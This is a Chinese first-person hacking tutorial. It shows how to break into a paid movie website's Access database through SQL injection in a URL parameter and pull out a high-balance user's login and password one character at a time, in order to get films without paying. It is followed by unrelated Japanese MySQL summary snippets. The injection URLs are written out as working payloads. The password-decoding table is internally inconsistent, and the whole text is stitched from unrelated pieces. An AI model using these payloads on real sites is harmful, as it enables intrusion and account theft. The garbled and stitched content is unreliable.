这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)
1.寻找入口
准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
2.观察网站环境
网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
3.猜表名查清楚敌人情况之后,开始行动
行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名,将有可能出现下面三种情况:
A.显示某部影片的信息(巧合的情况)
B.显示影片找不到(如果有判断是否为EOF)
C.提示错误信息(EOF OR BOF)
如果猜错,将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
4.猜列名
至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
5.锁定目标
让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000) 结果:提示子查询不能返回两条以上记录
锁定>10000,提示不变;
锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
6.计算用户名及密码长度
因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
7.分步破解用户名
有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
同样方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来:19780712,哈哈,又是用生日做密码的!
接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

MySQLスロークエリを最適化するには、slowquerylogとperformance_schemaを使用する必要があります。1。LowerQueryLogを有効にし、しきい値を設定して、スロークエリを記録します。 2。performance_schemaを使用してクエリの実行の詳細を分析し、パフォーマンスのボトルネックを見つけて最適化します。

MySQLとSQLは、開発者にとって不可欠なスキルです。 1.MYSQLはオープンソースのリレーショナルデータベース管理システムであり、SQLはデータベースの管理と操作に使用される標準言語です。 2.MYSQLは、効率的なデータストレージと検索機能を介して複数のストレージエンジンをサポートし、SQLは簡単なステートメントを通じて複雑なデータ操作を完了します。 3.使用の例には、条件によるフィルタリングやソートなどの基本的なクエリと高度なクエリが含まれます。 4.一般的なエラーには、SQLステートメントをチェックして説明コマンドを使用することで最適化できる構文エラーとパフォーマンスの問題が含まれます。 5.パフォーマンス最適化手法には、インデックスの使用、フルテーブルスキャンの回避、参加操作の最適化、コードの読み取り可能性の向上が含まれます。

MySQL非同期マスタースレーブレプリケーションにより、BINLOGを介したデータの同期が可能になり、読み取りパフォーマンスと高可用性が向上します。 1)マスターサーバーレコードはBinlogに変更されます。 2)スレーブサーバーは、I/Oスレッドを介してBINLOGを読み取ります。 3)サーバーSQLスレッドは、BINLOGを適用してデータを同期させます。

MySQLは、オープンソースのリレーショナルデータベース管理システムです。 1)データベースとテーブルの作成:createdatabaseおよびcreateTableコマンドを使用します。 2)基本操作:挿入、更新、削除、選択。 3)高度な操作:参加、サブクエリ、トランザクション処理。 4)デバッグスキル:構文、データ型、およびアクセス許可を確認します。 5)最適化の提案:インデックスを使用し、選択*を避け、トランザクションを使用します。

MySQLのインストールと基本操作には、次のものが含まれます。1。mysqlをダウンロードしてインストールし、ルートユーザーパスワードを設定します。 2。sqlコマンドを使用して、createdatabaseやcreateTableなどのデータベースとテーブルを作成します。 3. CRUD操作を実行し、挿入、選択、更新、コマンドを削除します。 4.パフォーマンスを最適化し、複雑なロジックを実装するためのインデックスとストアドプロシージャを作成します。これらの手順を使用すると、MySQLデータベースをゼロから構築および管理できます。

Innodbbufferpoolは、データとインデックスページをメモリにロードすることにより、MySQLデータベースのパフォーマンスを向上させます。 1)データページは、ディスクI/Oを削減するためにBufferPoolにロードされます。 2)汚れたページは、定期的にディスクにマークされ、リフレッシュされます。 3)LRUアルゴリズム管理データページの排除。 4)読み出しメカニズムは、可能なデータページを事前にロードします。

MySQLは、インストールが簡単で、強力で管理しやすいため、初心者に適しています。 1.さまざまなオペレーティングシステムに適した、単純なインストールと構成。 2。データベースとテーブルの作成、挿入、クエリ、更新、削除などの基本操作をサポートします。 3.参加オペレーションやサブクエリなどの高度な機能を提供します。 4.インデックス、クエリの最適化、テーブルパーティション化により、パフォーマンスを改善できます。 5。データのセキュリティと一貫性を確保するために、バックアップ、リカバリ、セキュリティ対策をサポートします。

完全なテーブルスキャンは、MySQLでインデックスを使用するよりも速い場合があります。特定のケースには以下が含まれます。1)データボリュームは小さい。 2)クエリが大量のデータを返すとき。 3)インデックス列が高度に選択的でない場合。 4)複雑なクエリの場合。クエリプランを分析し、インデックスを最適化し、オーバーインデックスを回避し、テーブルを定期的にメンテナンスすることにより、実際のアプリケーションで最良の選択をすることができます。


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